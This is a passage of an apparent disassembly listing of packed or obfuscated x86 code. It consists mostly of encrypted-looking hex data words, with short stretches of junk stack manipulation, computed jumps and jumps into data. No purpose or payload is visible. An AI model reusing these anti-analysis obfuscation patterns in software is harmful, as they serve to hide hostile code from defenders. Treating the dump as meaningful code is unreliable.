49DFE539h, 650408F5h dd 47EE8EA3h, 0D4A64AC3h, 42D67E08h, 12DEE438h, 5CC55873h dd 3CDD3730h, 30E0259Fh, 14184h, 4A610000h, 4E0ADAA4h dd 1D72D2ACh, 809652FBh, 0B1E06CFEh, 75D1D333h, 3A4894E0h dd 0BDB8F3FEh, 5E06902Ah, 6B79C547h, 0AD43FE8Fh, 0B1F337B5h dd 0E799BF27h, 71AD851Fh, 33C5B745h, 0ADA8E899h, 3A682873h dd 0D973F3FEh, 5FA7257Dh, 0AE545445h, 1D742873h, 45ADF79Fh dd 2FB9BB51h, 0DE23C996h, 71B961D9h, 0B42443Dh, 0BDD72873h dd 3042E81Ch, 7FF913BDh, 0A9CB61EDh, 56564B55h, 0BE28730Bh dd 469A56E4h, 4E96E00Ah, 0C96DE9FDh, 8363FB4h, 0A036032Ch dd 43852448h, 9D26CFA9h, 8C1AB723h, 12243h, 0DC786700h dd 0E0E24238h, 4DDA5508h, 99C7C6BBh, 554F37B5h, 4D2FCD89h dd 94E674A0h, 88EE0C48h, 73999919h, 0AD297B28h, 972DF18Bh dd 4DEF7701h, 19D1D333h, 6F0E76C5h, 3CD397A5h, 0D8A183Bh dd 3CD218C0h, 0A14CE2E0h, 9C85A845h, 4A51388Ah, 8AE3DDEEh dd 46038C1Ah, 0A7000000h, 0E9EAED78h, 4539FBAFh, 0A83F30EDh dd 0C443631Eh, 0D7CDB05Ch, 0C416960Fh, 0ADF9B05Ch, 90367F10h dd 31605EAAh, 0B05C4171h, 877301A3h, 768FB25Bh, 0A7FF67F1h dd 0A6DBCD25h, 305C4106h, 0A419940Eh, 83h, 30A0B3FEh, 47DEA579h dd 5DF35B60h, 86FB8D23h, 37B4DA4Bh, 59233591h, 4F33FF85h dd 2FCD8955h, 0AC46A04Dh, 72D9B5F5h, 0ED455F28h, 5C5523C9h dd 2872DA5Ch, 0CE58EEB4h, 0A088F206h, 0D938950Ch, 18322872h dd 26CA865Eh, 71978854h, 59732AC8h, 94E674B0h, 0CBB55A02h dd 0B8026E7Bh, 0BC7F5217h, 0A4FFC22Eh, 158C1E89h, 3062D702h dd 0A612F2B0h, 0E51AEA94h, 0E4773AE3h, 55A8D973h, 5D287327h dd 7814AE47h, 20A315EDh, 0FF3B48FBh, 16A03722h, 20173D7Fh dd 69C1E971h, 0D779E57Fh, 5C56DFA2h, 26B4A9DAh, 0D5E83BCAh dd 0D4CE384Bh, 0CCAE4C08h, 37D923Ah, 4449A123h, 0FBB640DAh dd 286CD4BBh, 5A5A4F55h, 0BA286CD5h, 0B3413BDEh, 0BFB95347h dd 0D2CF5967h, 286CD4D2h, 0F9886042h, 82AD2382h, 40B657F9h dd 8D1AB8B5h, 0A0B51371h, 0E47A08D4h, 0F082A80Ch, 0F654E17Dh dd 0E45B87EBh, 1F5DF155h, 4175BDC7h, 0D4D4CDABh, 3CADAC86h dd 400CD066h, 1D72D250h, 849652FBh, 33D97BFAh, 874C4C45h dd 0DEC4ADACh, 62EAF448h, 4B44ACCEh, 3, 4AF6549Bh, 430FD7A1h dd 5B77CFA9h, 5C78C4B4h, 537FC745h, 6A66BEBEh, 6D69B5C7h dd 636FB735h, 6753B3CDh, 5E55A9D3h, 81E18951h, 4C1h, 4E98300h dd 5C240C87h ; --------------------------------------------------------------------------- mov [esp], ecx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebp push ebx push 4CA54BE0h pop ebx shl ebx, 5 shr ebx, 2 sub ebx, 1 xor ebx, 22C5F194h mov eax, ebx pop ebx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebp push ecx mov ecx, 8 add ecx, ebp push ebx mov ebx, eax mov [ecx], ebx pop ebx pop ecx push dword ptr [esp] pop ebp add esp, 4 mov eax, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_58B97E ; --------------------------------------------------------------------------- dw 0F56h dd 193EE9A2h, 1D8476F1h db 69h ; --------------------------------------------------------------------------- loc_5EF255: ; CODE XREF: sdfs____:005EED20j mov eax, 7EFB3FAh add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 87E4h dd 35502A44h, 2E073840h, 1EF05CF3h, 474E6A7Bh, 87E40EAAh dd 355001E7h, 2E074649h, 1EF0086Eh, 474E350Ch, 87E412BDh dd 35505F40h, 2E077DB4h, 1EF010CFh, 474E008Fh, 87E43066h dd 3550559Bh, 2E077CE5h, 1EF02EC2h, 10E81F88h, 5000000h dd 4499D95Dh, 0AFEF5FE7h, 8D77AFA6h, 0FE6CE55h, 8158D3B7h dd 7D820EE2h, 0F3C0811Dh, 0F000063h, 0B84h, 5890F00h, 66000000h dd 0AA7ECF81h, 18CD68h, 0E9806000h, 0AE8E8h, 1F780000h dd 2B4B041Eh, 6883D037h, 0F95B615Eh, 8D0F308Bh, 0 ; --------------------------------------------------------------------------- add esi, 27F00670h mov dx, 1A18h add esi, 7E68CD44h jle loc_5EF31B stc loc_5EF31B: ; CODE XREF: sdfs____:005EF314j sub esi, 57AA49CCh movzx ecx, dx mov [eax], esi sub eax, 2 and dx, 1449h dec eax dec eax push ecx add dx, 8025h pop ecx dec ebx jnz loc_5EF364 pusha pusha push edx pop edi popa push ebx jmp loc_5EF351 ; --------------------------------------------------------------------------- db 7Ah, 54h, 14h dd 2B8F3E67h ; --------------------------------------------------------------------------- wait loc_5EF351: ; CODE XREF: sdfs____:005EF344j pop edi popa jmp loc_5EF372 ; --------------------------------------------------------------------------- dd 0C3D20A6Ch, 0C4F749CBh, 8AD4AE67h ; --------------------------------------------------------------------------- loc_5EF364: ; CODE XREF: sdfs____:005EF338j mov dx, 0AB51h jmp near ptr dword_5EF260+9Ch ; --------------------------------------------------------------------------- db 41h, 0B3h, 1Eh db 0F0h, 3Fh ; --------------------------------------------------------------------------- loc_5EF372: ; CODE XREF: sdfs____:005EF353j push ebx adc [ecx+esi*4+5Dh], ah mov ds:54F4B132h, eax xor dh, [ecx+73BEFC57h] sbb byte ptr [edx+6B451306h], 3Bh fld dword ptr [edi+2CE7E252h] db 64h cmp al, 49h mov edx, 5C3F3D56h push esi xor dh, [ecx-14E2F1A5h] push ebp inc ebx xor dh, [ecx-4EDD4055h] aad 56h inc ebx mov esi, 68C00235h bound ecx, [edi] jz short loc_5EF426 pop esp pop edi outsd jmp far ptr 3242h:47B1320Ch ; --------------------------------------------------------------------------- db 0B1h, 57h, 20h dd 0B24EE308h, 0ACBF6253h, 3327FDD6h, 0F26850D6h, 59FD63F4h dd 565DA8B6h, 56BA5832h, 89E7B132h, 0DE16663Eh, 33AE81BFh dd 9F3CD2B0h, 0C5A098D7h, 56BA5D54h, 565D48CAh, 56A05852h dd 9680B132h, 769B9D5Fh, 6E0802BCh, 1BD8EF3Eh, 5675B7DBh dd 3095B732h, 37C893F2h, 5652B132h, 56505832h, 0BE2DB132h db 0C1h, 0DDh ; --------------------------------------------------------------------------- loc_5EF426: ; CODE XREF: sdfs____:005EF3B1j mov bl, 0A1h jmp near ptr 3267DDF4h ; --------------------------------------------------------------------------- db 0BDh, 75h, 56h dd 5030BE32h, 595DB132h, 56AEB1BCh, 0AA57B132h, 56F46561h dd 56D5A3B6h, 56E75832h, 0DA88B132h, 5E42470Dh, 7D75991Dh dd 59030900h, 5657B7BAh, 562FBE32h, 37D5B132h, 0D78AB132h dd 1778E1ECh, 56BAD070h, 0AA5DB1CAh, 5657B132h, 0D4584D32h dd 56ABB122h, 56D5BADBh, 4D7CFC32h, 0CB8A824Ch, 0FD722B81h dd 0D452B132h, 56AEB138h, 8FDCD752h, 0BDAE098Ah, 0D0DAD001h dd 56EAB133h, 5975B1C7h, 56BAA6BBh, 564F5832h, 0D0D1B132h dd 7A28E291h, 0BAB0FDD8h, 41921FCAh, 7A0A95EAh, 5675B8DBh dd 3F3C5432h, 0E2CB2DDAh, 56AE997Dh, 9DE8BE52h, 0BFCA7380h dd 56D5B139h, 0FA569B90h, 1836D772h, 56D4D787h, 565D4932h dd 59AEB1CAh, 5657B0B3h, 56AB4932h, 56DD393Dh, 0D7E5B132h dd 5675B130h, 56BAD052h, 56495852h, 0D711B132h, 3D65153Bh dd 1ECCFFB7h, 5056376Dh, 0FFB35E8Bh, 0A4CFFA50h, 37F12F08h dd 565A323Dh, 36CEB132h, 87DCD753h, 0BFABB153h, 56D5B126h dd 0CB272542h, 0E2086BBBh, 3F0DB2DEh, 0F0C0E95Dh, 0D150181Fh dd 53BEB132h, 10ABB132h, 84B6E5h, 0EF8AB132h, 48C5564Eh dd 0AABAB153h, 565DA3DBh, 0AE84F732h, 7D19B07Eh, 3F49CFDAh dd 0BAC94E9Eh, 5655FB39h, 56615832h, 64B4B132h, 0EEE5462Fh dd 0E8C83421h, 0EEE271FDh, 0D54E3A54h, 56D5DB9Dh, 56E23D3Dh dd 0D17AB132h, 56BAB130h, 565DD052h, 36AEB1C7h, 565B363Dh dd 5142B132h, 0C5D5B132h, 9464F017h, 0BF22FD97h, 56BAB134h dd 0ED3FC839h, 37F1C666h, 5657B130h, 56ABB124h, 56D5A0DBh dd 0EAFCB332h, 47864AAAh, 3CA4BC13h, 126BB35h, 56AE4266h dd 5656303Dh, 8E52B132h, 50D5B235h, 52EAB032h, 73758532h dd 56B8EA32h, 56463E3Dh, 30CEB132h, 47BE69B9h, 0E8ABB132h dd 222E8A7h, 5DB95EE1h, 7165C4B1h, 65D72037h, 0BF5DB153h dd 56AEB137h, 2E2357Ch, 36ABB12Bh, 0E1DA72B9h, 56EAD0CAh dd 567CB36Ah, 0AADAB132h, 565D313Dh, 56CFB132h, 56574932h dd 56ABB36Ah, 47EED532h, 0DA632Bh, 0CEE6B64Bh, 563A042Ah dd 0EF3BD132h, 0D3A1828Eh, 5657B130h, 59CAFC85h, 56D5B0BEh dd 0BF7A4432h, 5675B139h, 0B41775E5h, 78F48141h, 6CBEDFDh dd 5657B7DBh, 0A26CB732h, 0C6B6232Fh, 5396DE7Ch, 425803Dh dd 56BAB8DBh, 55EF0C32h, 95008B2h, 6758C49Eh, 0EF1D052h dd 6746E968h, 67E5E362h, 0E2FE968h, 0AC2AE968h, 0BFC1EF99h dd 56AEB13Eh, 75056C86h, 29356812h, 0CD7F247Eh, 56EAB7DBh dd 0B202C732h, 0CBA9B37Fh, 605EB53h, 6CEE362h, 0C66BE60h dd 5D422D6Ah, 31D5B132h, 55580C26h, 98B08B2h, 0D7DCC49Eh dd 0BF7F29E2h, 56AEB134h, 7B13E6E4h, 37364250h, 423C803Dh dd 8AEAB132h, 9E1E0BD7h, 22FD3753h, 0B6BEA3AFh, 5A91EFABh dd 0C0CDB67h, 42CC246Ah, 0D6D6038Fh, 0FAB54F8Bh, 0D70EBB47h dd 1B7F67E2h, 56515816h, 7BEAB132h, 7FE74250h, 0B377FE9Ch dd 3748DA88h, 52CEF5BBh, 5675BDDBh, 4427C532h, 8C451D1h dd 3CFBBD0Dh, 0C4CBE969h, 0D000C77Ch, 56D54E75h, 0BC6BD752h dd 0D67A2EC7h, 56BAB134h, 16EC7AB3h, 56CFD0DBh, 5BBE4932h dd 6AABB132h, 25BAFBE9h, 83758FC5h, 0C98A941Bh, 0AFDAB132h dd 11C70954h, 5720BE53h, 0AE57B132h, 0D3A4B132h, 56D5B133h dd 0BFEAB1CBh, 5675B139h, 4BF000FEh, 0F197346Dh, 56E055DEh dd 0E958D132h, 56ABD0C8h, 36D5B1CEh, 56EABADBh, 0AA3C3F32h dd 6106F26Eh, 83E25219h, 56B9363Dh, 44BEB132h, 0CCABB132h dd 80D68C20h, 0C2C6809Bh, 17E269Bh, 33D8BAD6h, 565DD031h dd 56AEBCDBh, 72FB632h, 2672B373h, 5CAD0B4Ch, 56EABE44h dd 0E97AD1CBh, 0D3B5E1C0h, 565DB132h, 56AED069h, 56443F3Dh dd 5842B132h, 0C0D5B132h, 61F0B84Dh, 28A2C61Bh, 0C2A41EE5h dd 0BF5DB1B1h, 56AEB138h, 4AB6637h, 27335335h, 56D596C7h dd 56E43E3Dh, 5F9CB132h, 7BAB132h, 8142B6C7h, 8FD15764h dd 0D858B132h, 56ABB13Fh, 56D35852h, 0BED9B132h, 0DA817584h dd 59BAB153h, 565DB8B0h, 0D7C8D132h, 0DDF9A6EAh, 56ABD0CAh dd 56D5B7DBh, 35A47832h, 59640230h, 56BAA1BAh, 56565832h dd 8228B132h, 0A5547950h, 1998FFABh, 36D5B183h, 11C0E3Dh dd 5675A0DBh, 0AD202D32h, 2D75A947h, 7736030Fh, 52888964h dd 37F4D788h, 0BF20B132h, 56EAB13Ch, 6DA86D1Eh, 0AEAB893Ah dd 0DFC842Fh, 56AEC27Ah, 5646373Dh, 5A42B132h, 0C8D5B132h dd 9EF05130h, 71662319h, 56084C5Ch, 565D4D32h, 555C0952h dd 0ED31F9ACh, 56CA4807h, 0DD2DD132h, 56EAD0EDh, 5675A0DBh dd 0E7D8AE32h, 8A653C32h, 0AB31275Bh, 0B4458Bh, 0D9A43848h dd 56D5B13Ah, 56E8313Dh, 3715B132h, 5642B132h, 51B5D132h dd 39AEB132h, 0D5961029h, 5A420BD9h, 0FED5B132h, 26F7E480h dd 12C1A4C0h, 9573EA2h, 0D07E060h, 0AEAEB153h, 56AEB132h dd 59FCD132h, 56D5B1B7h, 0DAE5E832h, 5675B137h, 0AD593054h dd 565DD0BAh, 9819BE52h, 28F97BB3h, 56CA8615h, 0DDB3D132h dd 0A62B30EBh, 3774B280h, 5642B132h, 565D4D32h, 0DD7F3052h dd 59042065h, 56ABB7BDh, 5652BE32h, 37EAB132h, 0DF7AB132h dd 56BAB13Ah, 565F3B3Dh, 37CEB132h, 0DC37B132h, 56BF59D9h dd 0A170B132h, 0EAAB72E2h, 0FE2C0DBFh, 7A23C046h, 0A825FF8Eh dd 5A47FBF2h, 3557B132h, 0C16387B7h, 39735E12h, 0E2C6DADh dd 0BF75B153h, 56BAB121h, 0CE8D17A4h, 97AF589Dh, 58EFBCD1h dd 2D762DF7h, 59004DA2h, 56EAB9B5h, 54F7BE32h, 36BAB132h dd 365DB153h, 5B476CB8h, 7157B132h, 8B235C7Fh, 88B458FDh dd 65419831h, 3675B153h, 56BE303Dh, 0E93BB132h, 0ED143C47h dd 374DA487h, 36ABB1C7h, 8B216AB3h, 0DD8CECEBh, 5675D0CCh dd 56BE333Dh, 0E03DB132h, 56AED073h, 5657B8DBh, 7ED65732h dd 0F54A6D14h, 56EAE548h, 3675B1CEh, 56BAB8DBh, 9516ED32h dd 0E45E6AA0h, 5636003Fh, 8C2AD132h, 58E2FBC9h, 56EAB7DBh dd 0AC0CD32h, 375D59F8h, 565DA0DBh, 744F1232h, 12BBB65Eh dd 0AD4DBBBAh, 0F7805F03h, 56EAF549h, 37804D52h, 0BFDAB132h dd 565DB139h, 0CB94F280h, 29799072h, 0EE9A8F63h, 5CA7A88Eh dd 0BFEAB153h, 5675B139h, 2CBEAE8Ch, 38D0B73Dh, 56FD36D9h dd 56574932h, 56ABBFDBh, 0CBEA8832h, 29660C41h, 0ACA1AF5Dh dd 566AB31Ch, 56A14932h, 512EBE32h, 5957B132h, 56ABB0B9h dd 56D54932h, 975DBE52h, 5675BDDBh, 0D9C69232h, 2084012Bh dd 21E6BEEEh, 5657D01Eh, 4242E152h, 36D5B132h, 0C67C515Ch dd 847E45B3h, 214D9328h, 0DEE6B757h, 0ED03E79h, 56533E3Dh dd 0EDCDB132h, 56B44AD1h, 5B03D132h, 7B75B132h, 0B6DF7019h dd 9BF48B55h, 31548ED2h, 0A1D6D762h, 37F4EDCBh, 0D6DAB132h dd 56EAB12Ch, 566D333Dh, 4553B132h, 0F85DB132h, 661FC3CFh dd 6F0141CDh, 0A7916E5Ch, 0E291A963h, 0BE8AE6A7h, 5675B13Eh dd 24A3C0C6h, 4334EC67h, 7470AF2Bh, 5657383Dh, 0ECF0B132h dd 3451EBDEh, 59EAB153h, 5675B0BDh, 56BA4832h, 565DA5DBh dd 0DC910132h, 0EECDF2E0h, 32E237F7h, 7A3B529h, 5871D9E5h dd 3675B1F4h, 0B0226EB3h, 0E1528C44h, 56AED0F1h, 5657B4DBh dd 0E16A7C32h, 56D55A55h, 59EAB1CAh, 5675B6B2h, 573DBE32h dd 0AA5DB132h, 5656B132h, 5CD3BE32h, 36ABB132h, 0EE053A54h dd 256123C9h, 3675B153h dd 1F2A0F54h, 373C75B2h, 0AFAEB1CAh, 0D458B132h, 56ABB135h dd 59B4D152h, 568B6B8Dh, 56665832h, 3151B132h, 57A0C62Dh dd 45C99EBFh, 203AA398h, 0C00FDC3Ah, 0A3D5B1DEh, 0D0E5B132h dd 5675B13Eh, 56BC3C3Dh, 0D852B132h, 56AEB132h, 5CBEB132h dd 7AABB132h, 0F29D275Ah, 9FCB44F1h, 3675B1FCh, 56BAB6DBh dd 2CEB9732h, 0E7AD97DBh, 5657A1DAh, 152E6F32h, 72229885h dd 2D846CD3h, 0A326B0F9h, 0C9670E03h, 3706BAD4h, 0D6CEB132h dd 0AEE005E5h, 1114D153h, 0BF98DE25h, 56EAB139h, 9F62BF28h dd 906EAB26h, 37DFC930h, 0D0A1B132h, 5657B138h, 56ABB4DBh dd 4428BF32h, 56EA9A64h, 5660353Dh, 0BFDAB132h, 565DB13Fh dd 8F6723CBh, 0C9AB631Fh, 3B8098B1h, 56B44807h, 56E05832h dd 0BE43B132h, 4E0428F1h, 8CBD7319h, 9C11BE52h, 5636CA85h dd 5F42D132h, 0F2D5B132h, 0FE100BDh, 0A35C746Fh, 37623A54h dd 0D452B132h, 56AEB113h, 56435852h, 0D195B132h, 0D6A9B77Eh dd 4DB90EC3h, 0E0A6FC37h, 392DDC3Fh, 0D5524574h, 56AEB132h dd 0AA57B153h, 5653B132h, 5751BE32h, 0AAEAB132h, 0BF15B132h dd 56BAB137h, 0D6A3898Dh, 1917D7D1h, 0D637D076h, 0D7CD1AF9h dd 378D83D3h, 0D7E5B132h, 5675B128h, 56B75852h, 90C0B132h dd 6C24A64Bh, 0A492ED4Ch, 59139E2Ah, 56D5B1BEh, 56EAD032h dd 5675BEDBh, 2E59E732h, 0DE7028Fh, 0C25A7D59h, 0AEC53FA3h dd 0DAA4B132h, 56D5B135h, 56EB363Dh, 3689B132h, 540F0F54h dd 563C6BB9h, 5729BE32h, 0A357B132h, 3653B132h, 3C40A54h dd 59EAB153h, 5675ACBCh, 4134BE32h, 0BF5DB132h, 56AEB120h dd 9DECA692h, 6420B4F3h, 6125B76Ah, 0D6ED914Dh, 30157260h dd 372CD48Ah, 5DB4B132h, 19AEB132h, 0A4317008h, 0CF560E49h dd 56D5C952h, 56E43E3Dh, 5F9CB132h, 78BAB132h, 90BA24B6h dd 256D4B51h, 5ABEB132h, 67ABB132h, 0B49CED10h, 31FD9DC8h dd 56A465B9h, 4A3DBE32h, 365DB132h, 56AEA5DBh, 581E1132h dd 0E0DA8A36h, 82977C11h, 8590717Ch, 33CF887h, 59DB49D0h dd 565DBBB4h, 56AB5832h, 3A12B132h, 56912382h, 0A386D132h dd 37303A6Dh, 519CB132h, 16BAB132h, 0C967841Eh, 56AEFB03h dd 56413D3Dh, 4742B132h, 9AD5B132h, 0FBB1145h, 53E52B59h dd 0E76C0AE6h, 0C35BD69Eh, 0BECEB132h, 5657B13Fh, 9476128h dd 1D666DA8h, 0F937193Ah, 56725916h, 0B3EAB132h, 828F44C8h dd 59F4E96Ch, 5657B2B2h, 6C463132h, 6C63D153h, 56EABFDBh dd 3B75E032h, 6323A95Eh, 0B42B5637h, 370D58C3h, 0D958B132h dd 56ABB134h, 6B4D152h, 56EAD06Bh, 5675B7DBh, 99DA5732h dd 56E767E0h, 5729BE32h, 0AA57B132h, 0D5A4B132h, 56D5B135h dd 56EB353Dh, 568DB132h, 56BF5832h, 0D7E3B132h, 56DA8E28h dd 0AFDCD132h, 59ABB153h, 56D5BEB0h, 56E05832h, 0F897B132h dd 469A63DBh, 0C11B914Ah, 0BF57B132h, 5657B13Ah, 0F331BF15h dd 2B4111A6h, 0DEE5B132h, 5675B13Eh, 56BC3F3Dh, 0DB52B132h dd 56AEB132h, 0D758B132h, 56ABB133h, 56C758C7h, 0E46EB132h dd 0D23730Bh, 90022435h, 0A1FFB49Ch, 0CFF403C5h, 3037B132h dd 0D7A46BB9h, 56D5B132h, 8F61D153h, 3675B153h, 9DBD164h dd 37AC0E3Dh, 36AEB1CBh, 9820263h, 56ABBADBh, 134BA132h dd 6C1D3E08h, 0E5E1BF6Bh, 0BFBAB153h, 565DB13Ah, 4A7E5BFAh dd 0C1B66FFDh, 5D42B132h, 0D0D5B132h, 0B0C4A7C6h, 6E1C0735h dd 56BA094Ah, 0F830F52h, 0FA17DC71h, 3740556Fh, 0D1A4B132h dd 56D5B13Ah, 56E8353Dh, 3715B132h, 4653B132h, 0B45DB132h dd 0DB6E06A6h, 2313064Ah, 19FCE99h, 567C0775h, 56EA4432h dd 50F7BE52h, 59BAB132h, 565DB1BAh, 552ABE32h, 5957B132h dd 56CA6685h, 56D25832h, 8819B132h, 39DB214Fh, 36BAB165h dd 0EC3B6FB8h, 56CFB172h, 56585832h, 0A64B132h, 53031696h dd 0DC26B0E8h, 5F093473h, 56BA485Bh, 565DA5DBh, 0ED799B32h dd 65EF69B9h, 0B85F2F43h, 5F4788D0h, 0A2C2DAA5h, 0A375B132h dd 5853B132h, 7D5DB132h, 0C2B2F6AFh, 20D6B3EBh, 6E22CAA6h dd 0AAD5B12Ah, 0DBE5B132h, 5675B127h, 56BAA1DBh, 0C6B93F32h dd 99E9A7DDh, 0ECFD5A61h, 0C11424FEh, 56D544E3h, 0BFEAB1C7h dd 5675B137h, 0EED89590h, 0BF5DB14Fh, 56AEB139h, 7C177166h dd 462292E0h, 56659259h, 5D02D132h, 4D75B132h, 997AD85Ch dd 2971B380h, 0DFA14AFDh, 5657B132h, 56A6596Dh, 0D9DDB132h dd 27A67967h, 0D83C91D3h, 4E2048h, 563CE86Ch, 56A05832h dd 3DB7B132h, 7276B661h, 1A898665h, 5EB453F7h, 0D07AB132h dd 56BAB135h, 565C3C3Dh, 5657B132h, 56A24D32h, 56AB4832h dd 56D5BADBh, 30F66832h, 0D0FD2155h, 0A95C67E4h, 303DB132h dd 0D3A170B9h, 5657B131h, 37510E3Dh, 0DCDAB132h, 56EAB125h dd 0BF2FE352h, 56BAB13Ch, 0D808DB8h, 0DFE251B6h, 0D122C9D9h dd 56CAFC7Fh, 5758BE32h, 0A3EAB132h, 568DB132h, 0B53AD132h dd 0ACD6E1B7h, 56AED06Dh, 5657BFDBh, 8EA70332h, 2D0481B1h dd 62CF6D26h, 367F40B7h, 56BA393Dh, 48E6B132h, 37B2881Eh dd 0D258B132h, 56ABB13Ch, 56D5B8DBh, 86208532h, 2546838Eh dd 56BABDC9h, 595DB1CEh, 56AEA6B4h, 56455832h, 2C22B132h dd 21B2A2E0h, 9D7A3167h, 79405AF6h, 42052DADh, 565DBBDBh dd 0B5BF7432h, 0F98F19EFh, 5677599Bh, 455FBE32h, 0BFEAB132h dd 5675B13Ch, 813AC360h, 0F7BBC1E3h, 0A8B08894h, 56578F1Ch dd 56ABB9DBh, 0FF33E32h, 60485BD0h, 3675B1FDh, 0FC4A43B3h dd 53B58196h, 3FAEB132h, 70184360h, 56CAE9CEh, 0D84D132h dd 568B9882h, 3022D132h, 1D0A68B3h, 81DCD769h, 56CFA735h dd 56475832h, 0B9C3B132h, 55EF30ECh, 0A700FAD7h, 0E00DE753h dd 56BAF166h, 595DB1C7h, 56AEBDB0h, 50D7BE32h, 59ABB132h dd 56D5B1B8h, 36EAB132h, 5675A1DBh, 727ED732h, 4ED224EEh dd 0E7F04C10h, 0BB825A16h, 56A158D2h, 6DFBB132h, 2A757ED1h dd 6F0D2E59h, 0AFBAB153h, 0D452B132h, 56AEB133h, 0EF31D1CEh dd 0D9A47490h, 56D5B131h, 3728063Dh, 429CB132h, 0FEBAB132h dd 63160F78h, 264E09BDh, 262A4F6Dh, 62D74BA0h, 5632C7A0h dd 56EA4832h, 5975B1CEh, 56BAA7BBh, 59B4D132h, 73AEB132h dd 4A5D4FD0h, 0EE4D783Bh, 7BCCB333h, 568B1720h, 56754D32h dd 56BABFDBh, 0C1070932h, 0D0D11CB0h, 7A28E291h, 56B0FDD8h dd 56C15832h, 473B132h, 0FB2B70F0h, 0ED4D7731h, 62FB03D9h dd 59B915BEh, 56575A6Fh, 56AC3A3Dh, 0EFB5B132h, 6332BA4Eh dd 0AE75B153h, 0DFB5B132h, 565DB121h, 44463152h, 5657B9DAh dd 8558CC32h, 9C30D12Eh, 0AA8BEBB5h, 5689B132h, 56B05832h dd 10CDB132h, 3078E735h, 1776CCBBh, 59CBB132h, 56D5B3BBh dd 7130432h, 0DA064B2h, 0AFBAB153h, 565C353Dh, 5652B132h dd 56435832h, 8ED4B132h, 879FECCEh, 8B9D4EBFh, 1675FF26h dd 0B18AF858h, 565DFB09h, 56AEB7DBh, 0AF2C9532h, 565DDD91h dd 5A51BE32h, 59EAB132h, 5675B7B6h, 5632BE32h, 565DB132h dd 56BD5832h, 0B0DAB132h, 41960F56h, 0B667641Ch, 2EA989D8h dd 7D86042Fh, 59BAB1EDh, 565DB0B9h, 56AE4432h, 565F313Dh dd 0D7A4B132h, 56D5B130h, 56EAD052h, 78920F52h, 4452A3ECh dd 0B35DB132h, 79561217h, 2E6745AAh, 86AEB5F2h, 5BEC3653h dd 8061D714h, 5675D06Bh dd 0AFBAB1CEh, 595DB1C7h, 56AEB7B6h, 0D6AED132h, 56CA74E9h dd 5B5ABE32h, 0BFEAB132h, 5675B13Ah, 8F393EB4h, 1BBA2365h dd 5C47B132h, 9957B132h, 51692173h, 0B23CB920h, 4B60BE47h dd 5975B132h, 56BAA6B3h, 564F5832h, 87D2B132h, 2BFF999Dh dd 0A56A4078h, 123B0FC5h, 4EF47A00h, 0DD7AB132h, 56BAB135h dd 0AFEABE52h, 0BFCF41B9h, 5657B13Fh, 8F551231h, 9F631676h dd 0ACF85B7h, 0AA75B1A8h, 59DAB132h, 565DA9B6h, 56BD5832h dd 5AD1B132h, 55C5A47Eh, 66C200Bh, 0F611F6F0h, 41DA987h dd 37753A09h, 50B4B132h, 89AEB132h, 40D340A5h, 0BFABB18Ch dd 56D5B139h, 1AF900D5h, 34C6D4E0h, 569C7D4Fh, 0EC0CD132h dd 295894A5h, 89DCD76Bh, 36ABB153h, 0F27E5088h, 0A55DBE62h dd 4FFEBE53h, 0BFBAB132h, 565DB126h, 0F01FC120h, 0CC0D0CBBh dd 0CBD960FBh, 53C05CBAh, 0E7B9ECB5h, 515B132h, 0F7A063Dh dd 378C063Dh, 4747B132h, 0B457B132h, 62ED1EBDh, 56BF005Eh dd 0D5A4987Eh, 6D0AF3Ch, 4653B132h, 6D5DB132h, 1B935DFCh dd 80621149h, 8C170989h, 0BF498E80h, 56EAB122h, 0A6E7073Ch dd 53044D51h, 18F1B300h, 0C3DF895Ah, 0D858B132h, 56ABB121h dd 56D5BFDBh, 5DA8CB32h, 9EAB7562h, 0A995A4BDh, 56DAB78Bh dd 56A75832h, 77FAB132h, 0D2EED963h, 56401528h, 56E65832h dd 0A2B7B132h, 37F60C0h, 2EB12AE4h, 56AE034Eh, 5657B4DBh dd 0B302F332h, 56D55BFBh, 56EABADBh, 21B3D32h, 4A5477CAh dd 0C487ADBFh, 59AEB1CAh, 5657BDBBh, 5029BE32h, 59D5B132h dd 56EAB1BFh, 5AF4BE32h, 59BAB132h, 565DB7BCh, 5625BE32h dd 5657B132h, 0D7CDD132h, 373C4DD2h, 36EAB1CBh, 77C36FB3h dd 0DDDCC8B8h, 565DD0EDh, 0AAAEB1C7h, 56AEB132h, 56AE5832h dd 0EB38B132h, 56A81D64h, 0DB7AD132h, 56BAB12Bh, 565DA5DBh dd 87217532h, 0E04C3FEAh, 0FFBC717h, 92405A56h, 0A8CB23Fh dd 0DD7AD11Fh, 56BAB132h, 565DBADBh, 1A526832h, 0D482CFD7h dd 0EBAF0941h, 5D3CD053h, 0B4EAB132h, 0BCF08E43h, 745C12D9h dd 565D6879h, 56AEB4DBh, 9A455232h, 56AB315Fh, 56D95852h dd 0EE57B132h, 0C811776Ch, 8F50B243h, 0E40D473Ah, 56CFEEB7h dd 56525832h, 52AEB132h, 5697489Ah, 0DD8CD132h, 769D30FCh dd 378AB69Ch, 565DA3DBh, 0CF520532h, 65948B73h, 0CFC7CD20h dd 0E3E993E3h, 5642132Eh, 43F9BE32h, 0BFBAB132h, 565DB122h dd 104B95C9h, 69E81CF0h, 0E237D7F1h, 8E6315BFh, 5103B132h dd 8275B132h, 0F5F006FCh, 0DE52B885h, 56AEB12Bh, 5657A5DBh dd 0E0080A32h, 0DCB4ECEFh, 0A5F8F9F6h, 80F7ACh, 6FB3E86h dd 365DB148h, 56BC393Dh, 5ABFB132h, 1CABB132h, 4045C431h dd 0AC704400h, 0E760286h, 37623A54h, 0DC52B132h, 56AEB138h dd 599D3B52h, 56ABB1B5h, 56D5D032h, 0B96BD752h, 0D67A9239h dd 56BAB133h, 565DD0CBh, 56AEB6DBh, 1CA59E32h, 1D58E4A2h dd 4B5B132h, 56EAA5DBh, 0D5E8FE32h, 5A26AF15h, 0FBD7A150h dd 8F1BD285h, 548D2B3h, 0DDCDEBC9h, 56D5D0C8h, 0AAEAB1CBh dd 0E315B132h, 56A85819h, 7D10B132h, 3BE31613h, 0B2BD25E5h dd 5D574F4Eh, 6C97F288h, 4F5FD153h, 37B10052h, 59BAB153h dd 565DB7B8h, 8925D132h, 563667B9h, 56A45832h, 0C474B132h dd 3843CC73h, 43BBF37Dh, 72904BAAh, 